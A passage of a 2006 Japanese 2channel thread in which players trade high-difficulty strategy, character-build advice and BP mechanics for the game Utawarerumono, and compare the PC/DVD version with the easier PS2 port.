348 名前:前スレ134 mailto:sage [2006/10/20(金) 16:47:20 ID:7rsL8NhA0] テオロは敵を倒さなくてもヌワンギ戦に参加すれば 技だけにBPをつぎ込んでいれば決戦で使えます。 術姉妹も同様で無理に稼がせる必要は無いです。 それよりデリホとハクオロは意識しないと 忘れがちになるので注意です。
349 名前:名無しさんだよもん mailto:sage [2006/10/20(金) 17:00:49 ID:hAUcIll90] 俺難易度5で極めしもの取ろうとしたらハクオロの技上げるの忘れてて……
350 名前:名無しさんだよもん mailto:sage [2006/10/20(金) 18:12:11 ID:E+sELfmk0] >>342 強の方だと文字が流れなかったっけ。
351 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 03:31:03 ID:vg+QLPJs0] >>306 「キャッスルファンタジア」シリーズとかどうよ? 個人的にはうたわれに比べてヌル過ぎたから再プレイしてないけど。
352 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 08:22:46 ID:otfHoVdv0] >>348 アドバイスありがとうございます 確かに残り戦闘数考えてBP残さないとハクオロは忘れそうですねw ムティカパ戦は何度かやり直したら無事敵を全滅することができました テオロは順調にBPを稼いで「森の娘」戦で技3になったのでヌワンギ戦では引っ込めます
353 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 10:28:12 ID:1MdWIxwC0] 難易度3のノーコンティニューでやってるんですが、きついです。 今、ようやく偽りの真実 〜ケナシコウルペ皇都まで来たんですけど、 オボロ以外誰を育てればいいですか? 後、技を覚えさせるためにBPを持ち越してると、他のパラに全く振れないんですが 難易度3のノーコンテニューの場合、技は上げる必要はあるんですか?
354 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 11:03:34 ID:Qm/hFYHo0] >>353 ベナウィ・カルラを育てればいいと思う あと技は狩りし者、狩られし者までにできれば最大にしておく 気力MAXの状態でなるべく敵を倒すことが重要
355 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 11:17:03 ID:1MdWIxwC0] >>354 d ベナウィを全く戦闘に参加させてなかったよ…オワタ クロウを代わりに使ってた… 敵はなるべく連撃で倒してまつ…
356 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 11:49:12 ID:sEgvMUh70] クロウはクロウで悪くないよ。 ターンスピードの分、べナウィより劣るかなというだけで。
357 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 12:01:12 ID:1MdWIxwC0] >>356 ふぅ…タスカタ しかし技を最大にするのはキツイなぁ…どこまでもちこたえれることやら…
358 名前:佐賀県だよもん mailto:sage [2006/10/21(土) 14:57:06 ID:j1dUFHIY0] 頑張れ。敵を倒す時はなるべく連撃の一撃目で倒すようにするとBP溜まりやすいよ。 あと慣れない内はトウカ主力にしないと話にならないから、仲間になったら最優先に育てておけ。 技が最初からマックスってのがいい。
359 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 16:55:46 ID:OuJqdPFb0] クロウは高難度になると遅さが致命的になってくるからなぁ
360 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 16:59:32 ID:QkhrvABl0] カルラよりは強いよ。
361 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 17:52:46 ID:TUhVv9gG0] みんなウルトとかカミュは使わないの? 俺まだ難度参以上はやったことはないんだが、 結構二人とも使ってたんだけど…… まあキャラが好きだからって言うのもあるんだがね。
362 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 17:56:30 ID:QkhrvABl0] 難度が上がると敵の術防御が防御以上に高くなるので二人は使い物にならない。
363 名前:名無しさんだよもん mailto:sage [2006/10/21(土) 22:43:04 ID:8zI0aBdO0] ウルトとカミュの使えなさは異常。
364 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 00:38:33 ID:KV1PZL/O0] ウルトは素早さが高いからまだ良いけどカミュは弱いし途中で抜けちゃうし 正直一番使えないキャラと言っていいかと
365 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 00:46:40 ID:LuzRmXkG0] つ囮
366 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 01:07:11 ID:YEXEPibO0] ノーコンプレイでウルトを使うとしたら、難易度参までが限度かな。 攻撃力だけを上げていけば、グラァ程度には使えると思う。 スライムに光の術法をぶち当てる快感は、一度は体験すべき(かもしれない) 難易度伍で使用するのは、無謀に過ぎるな。
367 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 01:27:40 ID:L9PMawcO0] >366 >4 タイマンも可能。前スレに画像も載ってる
368 名前:353 mailto:sage [2006/10/22(日) 11:19:22 ID:XVtbGLyb0] ギリヤギナの剣奴で20数回やり直し、ようやくクリアできたんですが、 カルラゥアツゥレイで完全に詰まりました。最初の敵軍を全滅することまでは できたんですが、カルラの防御が27しかなく、エルルゥ防御を駆使したため、 増援がきたときには、エルルゥのHPが46しかなく、増援隊に蹴散らされました。 30数回やったんですが、あきらめて最初から完璧にキャラを作り直したいと思います。 カルラの防御をモット上げとけばよかった。 で、最初からまた始めたんですが、荒ぶる森の主を20数回、運悪く未だにクリアできません。 泣けてきた。
369 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 11:44:09 ID:LTWnKZJI0] お前には何をやらせても駄目な気がする
370 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 13:09:33 ID:UvV9NyxM0] >>368 どこからどう見てもプレイヤーの腕不足です 敵の増援出現条件は決まっているのだし いざとなれば突撃かましてオカマ殺せば済む話
371 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 13:33:01 ID:Kc1sz+My0] 難易度3でそれじゃ5だとどうなるんだ
372 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 13:33:24 ID:YEXEPibO0] このスレを一から読み直せば、荒ぶる森の主でそんなにはまることはないと思うのだが。 それと、 > 増援がきたときには、エルルゥのHPが46しかなく、増援隊に蹴散らされました 増援を相手にする前に、敵の先発隊を一人生き残らせて、 エルルゥのレベル上げをすればよかったんじゃないだろうか。 いや、いまさらなのだが。
373 名前:前スレ134 mailto:sage [2006/10/22(日) 13:35:17 ID:WwbsobWi0] >368 最初の敵軍の時、最後の敵一人を残してみんなで囲って、 エルルゥがレベルアップするまで回復させれば良いのでは? それよりノーコンは諦められたのでしょうか・・・
374 名前:前スレ134 mailto:sage [2006/10/22(日) 13:37:30 ID:WwbsobWi0] カブってしまった・・・ orz
375 名前:353 mailto:sage [2006/10/22(日) 13:46:59 ID:XVtbGLyb0] 力不足は自覚してます^^; でも、ここのスレ住人はすごすぎるよ。 今、ようやく荒ぶる森クリアできました(^o^)ノ >>372 ああーそうだった。エルルゥのレベルアップまで頭が回らなかった。 なんてバカなんだ。情けない。 >>373 カルラがどう逃げても、弓の攻撃範囲で一撃食らえば死ぬ状態だったので、倒すしか ありませんでした。再び最初から挑戦してまつ。
376 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 17:17:29 ID:LTWnKZJI0] お前このゲーム向いてねえよ、ポケモンでもしてろポケモンでも
377 名前:名無しさんだよもん mailto:sage [2006/10/22(日) 23:36:55 ID:m9L8th7xO] ポケモンひでぇw
378 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 00:49:44 ID:OwqRlekH0] ポケモンと言えば、最新ポケモンの裏技が発見されたそうだよ。
379 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 06:32:36 ID:1lsBcDG70] ってかカルラの防御全くあげなくても全然問題ないと思いますよ。
380 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 08:09:49 ID:hf6YeprL0] 俺は上げた方が良いと思うけどな。 カルラの特性上二発耐えられれば破壊神と化すし。
381 名前:名無しさんだよもん mailto:sag [2006/10/23(月) 09:44:25 ID:lgAWMR5V0] その代わりに攻撃と技上げたほうがもっと破壊神になるよ
382 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 11:57:47 ID:/86RcjXS0] カルラとオボロは重要な戦力だが最後のほうになると 守備力が少なくて回復が間に合わずリタイアしてしまう噛ませ犬っぷり どう使ったらいいのか・・・
383 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 11:59:58 ID:sYHYJIUw0] とことん強くして狙われないようにするとよいかも
384 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 12:06:54 ID:rQ4uptkU0] カルラはともかくオボロは最後まで強いでしょ。 パラも99まで上げてしまったら基礎値とかあんま関係ないし。
385 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 15:32:25 ID:6t5QQlNe0] A(最後まで全く問題なく一軍):ベナウィ トウカ B(多少不安があるが一軍):オボロ C(終盤になると最強クラスからは劣ってくる):カルラ ドリィ D(使いようによっては強いが基本的に微妙):クロウ アルルゥ E(根本的に使いにくい):グラァ ウルトリィ カミュ 例外:ハクオロ
386 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 16:28:13 ID:9z+vkmpv0] >>87 でFA
387 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 17:00:44 ID:6t5QQlNe0] ベナオボって育て易いか? 復帰後のベナウィの弱さに育成断念した初心者は多いと思うぞ。
388 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 17:11:59 ID:lgAWMR5V0] ベナウィ・オボロが主力なのは基本じゃね
389 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 17:58:16 ID:kxGXdiEh0] エルルゥのBPってどうやって溜まってくの?
390 名前:名無しさんだよもん [2006/10/23(月) 18:05:34 ID:lgAWMR5V0] >>389 出撃ボーナスの150p
391 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 18:15:49 ID:1PLqdEbD0] 必殺技で倒した敵って、BPや連撃に反映されてる?
392 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 18:16:46 ID:kxGXdiEh0] >>390 thx
393 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 18:16:49 ID:OwqRlekH0] べナウィは最初は弱いし全然使えないけどな。 技が5になってからのBP巻き返しがすごいからな。
394 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 18:19:50 ID:hf6YeprL0] >>391 連撃っていうのがよくわからんのでスルー。 BPは反映される。 例外として、アルルゥの必殺スカり(ガチャタラ居ないとなるやつ)は反映されない。
395 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 18:28:05 ID:1PLqdEbD0] >>394 ありがとう。 連撃に関してはなんかゴッチャになってた。 スルーして。
396 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 19:01:29 ID:doSjoOPB0] 俺のウルトリィは必殺使うとダメージが1500ぐらいいく
397 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 21:09:28 ID:aPL0A9hB0] ノーコンあきらめてBP稼ぎしまくったら タトコリの関でオボロが1600とか獲得して吹いた
398 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 22:01:50 ID:vcO3IkGw0] ノーコン目指しててもハクオロなら1000近く稼げる(頑張れば1000以上も可能だと思う) あそこは序盤最大の稼ぎポイントだよな
399 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 22:49:51 ID:6t5QQlNe0] >>388 BP計算式の判明してない頃はベナウィは結構使えない奴認定されてたよ。 個人の高難度攻略ページなんかだと評価はクロウ>ベナウィが多かった。 今では最強キャラだけど。 >>397 余り序盤で強くしすぎるとギリヤギナの剣奴で死ぬから注意。 まぁオボロなら平気か。
400 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 23:29:24 ID:lgAWMR5V0] ダメージって最高どのくらいまでいくんだろう 限度はないだろうけど必殺技一発で2000以上とかあるのか?
401 名前:名無しさんだよもん [2006/10/23(月) 23:48:13 ID:Oh9AGaSYO] 俺が出したのは最大でもスライム相手に1060位だったと思う だがさすがに2000は無理なんじゃないか?
402 名前:名無しさんだよもん mailto:sage [2006/10/23(月) 23:55:09 ID:+RZ8ZoWZ0] カルラなら結構行くと思う 難易度5でも必殺まで繋げればそれだけでヒエンとハウンなんとかは倒せるし
403 名前:名無しさんだよもん mailto:sage [2006/10/24(火) 00:40:37 ID:LUxe4dHq0] ハウエンクアかわいそす・・・
404 名前:名無しさんだよもん mailto:sage [2006/10/24(火) 00:47:34 ID:GEb0YdUt0] エルルゥはコンティニューしまくったらBPが増えてる事があった 死んだ時に10Pだけ増えてるんじゃねえかとにらんでる
405 名前:名無しさんだよもん mailto:sage [2006/10/24(火) 13:19:24 ID:4023K34T0] 言うのは検証してからにしてくれ
406 名前:名無しさんだよもん mailto:sage [2006/10/24(火) 13:21:57 ID:EKa/whEL0] >>404 前ステージの残りを引き継いだだけと予想
407 名前:名無しさんだよもん mailto:sage [2006/10/24(火) 13:37:57 ID:0XrFXdpp0] トウカが仲間になった一番最初の時に貰えるBPって、橋の上の戦闘の時のだけ? エヴェンクルガの女の時のも、入ってますか?
408 名前:名無しさんだよもん [2006/10/24(火) 14:06:13 ID:wMOQ3w100] 称号フルコンで手に入るCGってどんなどんな感じのなんですか?
409 名前:名無しさんだよもん mailto:sage [2006/10/24(火) 15:21:49 ID:oRMnvPRk0] >>408 高難度クリア画像をパワーうpしたやつ
410 名前:名無しさんだよもん mailto:sage [2006/10/24(火) 17:22:37 ID:ea63R+S+0] 俺はむしろ先に見れる画像の方が好きだ
411 名前:名無しさんだよもん [2006/10/24(火) 19:08:00 ID:4023K34T0] 割れ厨脂肪
412 名前:名無しさんだよもん mailto:sage [2006/10/24(火) 21:35:37 ID:wa1DhiDc0] >408 取ってくる
413 名前:名無しさんだよもん [2006/10/25(水) 13:44:24 ID:+qbAVT5+0] >>407 入ってるよ
414 名前:名無しさんだよもん mailto:sage [2006/10/25(水) 17:07:55 ID:AN+l6kLK0] >>413 サンクス! いっぱい生贄差し出すんだった。でも余裕なかったから、オボロの必殺技で出てきてすぐ一撃で 倒してもうた。 橋の上の戦闘でエルルゥ差し出したら、すげーもらえたから、勿体無いことしたなぁ。
415 名前:名無しさんだよもん [2006/10/25(水) 17:39:45 ID:qKH+ZlRiO] うたあげ
416 名前:名無しさんだよもん mailto:sage [2006/10/25(水) 19:33:41 ID:rPFpv+UA0] PS2版の簡単さに失望して、こっちに流れてきてDVD版買う人が増えそうな予感。 PS2版に難易度設定がクリア後でも追加されてなかったら大幅減点だよな・・・ ・クリアしたら一時参戦キャラ+aが自由に使えるようになるらしい。 ・オボロ、ハクオロがポイント増加して育ちにくくなった。 ・ベナウィが連撃ポイントなくなったおかげで超強化、DVD高難易度での能力値 なので育ちやすい、強化オボロ化してる模様。 ・連撃回数でのダメージ減少数値が大幅低下、ほとんど威力が下がらずに追加ダメージ ・敵も協撃使用、確認取れたのはササンテ×ヌワンギ ・術敵が大幅増加しているため、壁アルルゥは通用しにくい
417 名前:名無しさんだよもん mailto:sage [2006/10/25(水) 19:37:34 ID:JL8yAFAh0] >>416 連撃のダメージ低下無しとかほんとうにヌルポだな 必殺技出すまでも無く敵死ぬんじゃね?
418 名前:名無しさんだよもん mailto:sage [2006/10/25(水) 19:45:29 ID:rPFpv+UA0] >>417 低下するけど、PCの1,1とかイラネ的なダメージではない模様。 100→80→70→60→50・・・・ほどらしい。 なので味方ならまだしも、敵の連撃で相当なダメージ喰らうので、結果ボスは かなり強化されてる模様。 必殺技は、自動LVでの技回数増加なので、後半にならないと出さないキャラが多いらしい。
419 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 00:09:12 ID:7UD5iQVC0] カルラ始まったな
420 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 00:13:12 ID:jRYj5GDV0] 技が自動うpって、モロにエヴェンクルガ最強伝説の終末だな
421 名前:名無しさんだよもん [2006/10/26(木) 01:26:48 ID:MHbEpbWRO] ゲーム的にはつまらなくなりそうな悪寒
422 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 01:32:46 ID:+d42Bm2NO] PC版うたわれをkonozamaで買おうと思うのだが、代引きの時に確認とかある? 家族がいるなかでは流石に視線が痛そうなのでそういうのがあったら心構えをしときたいんだ…
423 名前:名無しさんだよもん mailto:age [2006/10/26(木) 02:51:09 ID:nGSN/V1m0] なんか、PS2版簡単すぎてヤバい、PC標準難易度よりも簡単かもしれん。 連撃で威力がほとんど下がらないから、ほとんどのキャラで一撃で雑魚を殺せる、 術敵は攻撃する暇もなく死亡、ボスも連撃は相当ダメージ喰らうが3人くらいが 1回攻撃したぐらいで死亡。 連撃でのダメージ低下は相当バランス崩してる模様。 加えて協撃もあるから、すぐに全滅勝利できる。 また、エルルゥ以外でも回復が出来るため、回復アイテムを複数持っていればまず 死なない、しかも回復アイテム一個でエルルゥの一回回復分ぐらい回復する。 技の数値がLVアップ式になったから、DVD版で技にポイント当てていた分全てを攻撃 と防御に回せるため、すぐに99なりそうな勢い、ベナウィヤバス、連撃回数も多いから 最強の予感。 とりあえず言おう! ど こ が 高 難 度 1 程 度 の 難 易 度 な ん だ !! 流 石、飛 行 計 画 サ モ ン ナ イ ト ク オ リ テ ィ !
424 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 02:57:23 ID:nGSN/V1m0] 正直、クリア後に高難易度追加がないと、マジで一回クリアしたら やることなくなるわこれ。 これで高難易度があったら、かなり良ゲーなのに・・・ おまけに、称号なくなってるからマジでやることがない。 あえて言おう、フリーマップやらなくても、PC版標準難易度以下の難易度です。 それに加えて、アイテムやら装備品やらもあって、ヌルゲーにもほどがあります。 ボイス&追加シナリオ以外は、マジでDVD版よりもクオリティ低いです
425 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 03:02:16 ID:qQqijKgi0] DVD版にあったんだから、リメイクしたものにも当然難易度なんてついてるんじゃないの? 持ってないからなんとも言えないけど・・・。
426 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 03:05:50 ID:aEb7bS4s0] そこで、クリア後のご褒美に、PC版のオリジナル高難度モードも搭載 、、、してるといいなあ。。。
427 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 03:19:25 ID:7UD5iQVC0] 標準以下って…そこまでヌルいのか
428 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 03:29:44 ID:fHJTp3tJ0] あまり興味ないけど、シナリオの方はどうなんだろう? アニメみたいな感じ?
429 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 03:30:44 ID:nGSN/V1m0] >>425 戦闘パート作ってるのがリーフではなく、サモナイチームだということをお忘れなく。 とりあえず初回にはなかった、CD版のように初めからを選んだら選択画面出ずに 始まる。 それと、システムと敵の能力が変わってるから、フライトプランが高難易度設定 までわざわざ調整して作ってるとは思えない、サモナイシリーズだって難易度が 追加されたことなんてなかったはずだし。 スペシャルは、CG・BGM・ムービーまでがPC版と同じだけど、後は恐らくTV版OPが クリア後に出てくるだけだと思う、やりこみ要素だった称号は恐らくない。 なんか2週目になると、一時参戦キャラが自由に使えるようになるらしいけど、そこまで はまだクリアしてないので確認できない、これで高難易度も追加されれば良いのだが・・・ 正直、アヴカムゥがベナウィの攻撃(連撃含む)1発でどんどん死んでいくのはポカ-ン・・・ もちろん必殺技使ってなくてだよ?しかも、気力もMAXじゃないのにだよ? カルラは、連撃の威力低下のシステムが改良されたおかげでPC版よりも鬼だし・・・ トウカはもういうことなし、エルルゥとアルルゥの協撃範囲回復で死ぬことすら困難だ。
430 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 03:38:06 ID:nGSN/V1m0] >>428 イベントは変わってないと思う、「やあぼくはくおろくん」のボイスは吹いたw エロシーンの変わりは、うまく誤魔化してシリアス会話するように変更されてる。 この時の力ちゃんヴォイスは“良い声” DVD版のトウカの風呂CGは、湯気でおっぱいと下半身隠されてる。 カムチャのイベントは、やってからのお楽しみということで、カムチャは範囲2マス先 の敵を攻撃できる。 イベント部分はマジで感激の出来なのに、戦闘部分がマジでぬるぽすぎ・・・ アクアプラスGJ! フライトプラン逝ってよし!
431 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 03:47:46 ID:nGSN/V1m0] / ̄ ̄\ / _ノ \ | ( ●)(●) . | (__人__) 浪川の連撃1発だけでクーヤ一撃死とか | ` ⌒´ノ おかしいだろ、うたわれ的に考えて… . | } . ヽ } ヽ ノ \ / く \ \ | \ \ \ | |ヽ、二⌒)、 \
432 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 03:58:21 ID:7UD5iQVC0] ウィツもタイマンで丁度いいくらいなんだろうな…
433 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 04:00:24 ID:qQqijKgi0] ん〜 サモンナイト系って(2しかやってないけど・・・)そこまで簡単じゃなかった記憶あるから、 そこまでヌルくはしないんじゃないのかなぁ?って思ったんだけど、 そうでもないのかな・・・? トウカのシーンカットじゃないんだ・・・。
434 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 04:12:57 ID:nGSN/V1m0] 能力とかはキャラのLVアップやアイテム装備で増えたりする。 例えば、エルルゥは薬術という能力持ち、装備に火の術法を使用出来るように するアイテムとかもある。 ただし、ただでさえ簡単な難易度がさらにぬるぽになるおまけ付き。 術法ダメージを半減する能力とか装備品があるから、ラスボス余裕の予感
435 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 07:43:16 ID:/dhN2uuq0] 散々延期したのはぬるゲーにするために調整してたせいか?
436 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 07:50:29 ID:/pxe63tk0] 昨日ピアカスで配信されてたのを見たが流石に標準以下ってことはないと思う。 簡単に感じるのは高難度で効率的な戦い方や育て方が分かってるからじゃない?
437 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 09:27:48 ID:6hU126hB0] >434 >術法ダメージを半減する能力とか装備品があるから アルルゥ鉄壁伝説も始まりますね。
438 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 10:14:36 ID:PtZibGIT0] >>428 ここは高難易度攻略のスレなのにシナリオがどうとかアホかおまえ。 PS版の話もスレ違いだし自重しろやおまえら。
439 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 10:17:32 ID:CHMLDIuc0] ベナウィが最初からBPを大量に持ってる原因って解明されたっけ?
440 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 11:12:36 ID:hB4s1DJg0] ID:nGSN/V1m0 なんか臭うぞ
441 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 11:56:58 ID:QBoUxl3v0] ID:nGSN/V1m0はダメダメ言い過ぎだけど、確かに温くなっちゃってるなぁ。
442 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 13:08:14 ID:jRYj5GDV0] >>438 >>1 >『うたわれるもの』(DVD版)および『うたわれるもの 散りゆく者への子守唄』(PS2版)の >高難度の攻略について扱うスレです。 まぁシナリオに関してスレ違いなのは確かだけど。
443 名前:名無しさんだよもん [2006/10/26(木) 13:30:53 ID:9m1YaeSgO] PS2版は、高難易度で追加された、行動順を確認できるやつがなくなってる模様、お陰でうたわれ初心者からは「何で行動順が確認出来ないんだよ、流石エロゲークオリティ!」と評判悪い。なんで退化させるんかな・・・攻撃パターン増やす前に優先することがあるだろうに
444 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 14:37:55 ID:QBoUxl3v0] >>443 sageれ。 それに全体マップで行動順は確認できるよ。
445 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 15:56:17 ID:JKJ82HXv0] やっぱPS2版よりPC版のほうが格段といいな 久しぶりに称号集めしてるんだがノーコンテニューで取れる称号取れるだけ取りたいんだが どうやったらいいかな 全キャラ技重視で必殺技祭り エース100人斬り 術で雑魚20人殺 を目指すつもり なんだかめんどいけどセーブしまくりで慎重にやるしかなさそう あとBP上げでおいしいステージがあったらぜひ教えてください
446 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 19:58:34 ID:E1mNXPro0] PS2のほうに高難度がないんならやりこみ話題に限定ってことになるのかな?
447 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 20:22:51 ID:6hU126hB0] スライムマッサツ
448 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 20:57:59 ID:nGSN/V1m0] ttp://www.yukaura.net/uta_nuwa_divx.avi とりあえず、ヌワンギ砲はバロスwww
449 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 21:02:15 ID:/dhN2uuq0] こ、これは。。。
450 名前:名無しさんだよもん mailto:sage [2006/10/26(木) 21:04:17 ID:nGSN/V1m0] にゃもの回転がまったく意味ないのがウケルwww けど、後ろで待機してるのにいきなり撃ってくるから、オボロが瞬殺される 可能性があるのが厄介ではあるな
451 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 07:53:28 ID:A/hTUhrS0] ゲームクリア特典判明 ・続きからでクリアデータ選択すればアイテムの持ち越し可能。 ・戦闘演習の9番で「おまけ〜うたわれるもの開発ルーム」 ・特典の場面回想にてTV版OPのノンクレジットバージョン 難易度&称号オワタ\(^o^)/
452 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 09:59:58 ID:qjOUcATA0] つまり隠れキャラの大志が出るんだな
453 名前:名無しさんだよもん [2006/10/27(金) 12:12:26 ID:kg9SUMl30] 再戦しても経験値引き継がれない… それよりもBPはどうなってんだ
454 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 13:13:12 ID:juRQOVEa0] なんていうか声がついたところ以外は劣化してるな 特典だけで5000円分ぐらいの価値はあったからいいけど
455 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 13:17:13 ID:6VwkYmzC0] なぁいまさらな質問で申し訳ないんだが 称号の忠実なるものの条件にあるBP未使用って 技も振っちゃ駄目なんかね? 極めしものと同時に取りたいと思っているんだが・・・
456 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 13:49:34 ID:D1J/Tf4b0] >>453 BPはステージごとに決められている基本値+倒した敵の数×5みたい。 PC版と違って、連撃の回数は関係ないっぽい。 基本値は、ストーリー戦の120と演習の50を確認してるが、まだクッチャケッチャ前なのでなんともいえない。
457 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 14:04:37 ID:7Enxekp0O] >>455 振っちゃだめ てか最初から技最高のトウカかゲンジマルで狙えばいいじゃない
458 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 14:48:17 ID:6VwkYmzC0] >>457 マジスカ でもゲンジマルのことすっかり忘れてた(゚∀゚) これで二週目で全部の称号とれそうだ ありがとう!
459 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 15:26:10 ID:bzdbEkwB0] >>456 つまり高難度もやり込み要素も軒並み消えてるって事か。
460 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 15:41:01 ID:hIyACjta0] PS2版が発売された中、いまさらDVD高難度5をやってる者なんだが これどうやってレベル上げするん? 再戦しまくり(299回w)でとりあえずクリアはしてみたもののLvは30程度で 再戦なし標準(レベル上げ等一切なし)とほとんど変わらず・・・ とりあえず「仮面」でLv上げしてるが99Lvは遥か彼方です
461 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 16:05:23 ID:2jQuJab00] 頑張ってハクオロをLv99にするといいよ
462 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 16:11:48 ID:D1J/Tf4b0] 自分より相手のほうがレベル低い場合は ダメージ×基本値 相手のほうがレベル高い場合は ダメージ×(基本値+レベル差×基本値) 基本値は通常0.2、エルルゥのみ0.7。 つまりLV99まで目指すんなら防御力の低い相手を選んで攻撃しろってこった。
463 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 16:31:01 ID:hIyACjta0] やっぱり地道にやるのがベストなのかぁ ハクオロ99にするとクリア不可能になるのかな・・・ ウィツ58Lvだったけどエルルゥとアルルゥの二人だけになって大変だったw
464 名前:名無しさんだよもん mailto:sage [2006/10/27(金) 16:31:20 ID:bzdbEkwB0] ダメージ×(基本値+レベル差)×基本値じゃね?
465 名前:名無しさんだよもん mailto:age [2006/10/28(土) 00:08:31 ID:3C5HTiBt0] >道具収集完全達成おめでとうございます! >戦闘練習に『スペシャル』が追加されました! キタコレ!! 高難易度は絶望的だが・・・CGの解禁だけかな・・・
466 名前:モロロ粥 mailto:sage [2006/10/28(土) 21:08:09 ID:+Q8WdlBd0] 極めしもの を取ろうとしてるんだがノーコンテニューってのがスゲーキツイ 難易1で最初から技ばっかりにBPあげてたせいでキャラが弱くて仕方がない 密集とキャラ効果でなんとか決戦(ベナ一騎打ち)まで行ったんだが どうしても先に進めなくて ベナの攻撃80位ダメージで回復が60位だからハクオロが死ぬし 味方が敵に与える最高ダメージがオボロで40位しか与えられない ベナウィHP半分まで減らしてほかの敵全滅までいけるんだが クリアは無理そう もう一度オボロが仲間になるところからやり直すしかないか
467 名前:名無しさんだよもん mailto:sage [2006/10/28(土) 21:27:24 ID:GhD7uzg60] >>466 今日の漏れがいる もうそこは全滅させるのは諦めれ 浪川が動いてきたら残りの敵を無視して全力をあげて倒しにかかれば 多分いける。漏れはそうした。 とりあえず技をMAXにさえしていれば後半レベル差があるところでBPは 簡単に稼げる(1000〜2000)から切り捨てるところは切り捨てていいと思うよ しかし侍大将とうたわれるものがとれなかったのはショック 難易度3以上の方がとれるかなぁ
468 名前:名無しさんだよもん mailto:sage [2006/10/28(土) 21:30:38 ID:ae1Uz4Ug0] >>467 うたわれるものは面倒なの我慢してエルルゥのレベル上げすればいいじゃん。 侍大将はオボロを多少贔屓して使っていけば自然に取れると思うけど。
469 名前:名無しさんだよもん mailto:age [2006/10/28(土) 23:17:25 ID:3C5HTiBt0] ネタバレ・・・カムチャタールの正体はインカラ
470 名前:名無しさんだよもん mailto:age [2006/10/28(土) 23:46:49 ID:3C5HTiBt0] ttp://うたわれるもの攻略.攻略wiki.com/87.html
471 名前:名無しさんだよもん mailto:sage [2006/10/29(日) 00:39:00 ID:RubyUW1+0] ニウェとの決着つける所でshift使ったら両マップともオボロが逝ってしまわれた 代わりに極力浪川に倒させてたら、取得BP2000越えた やべえ、浪川強いよ浪川
472 名前:名無しさんだよもん mailto:sage [2006/10/29(日) 01:21:13 ID:SL2m9feY0] うたわれるもの はラスボスで一番レベル高いやつだけつかって倒しそうになったらわざと 殺されてコンテニューするのが一番楽だとおもう
473 名前:名無しさんだよもん [2006/10/29(日) 11:37:28 ID:ISu8FbW+0] >>472 日本語でおk
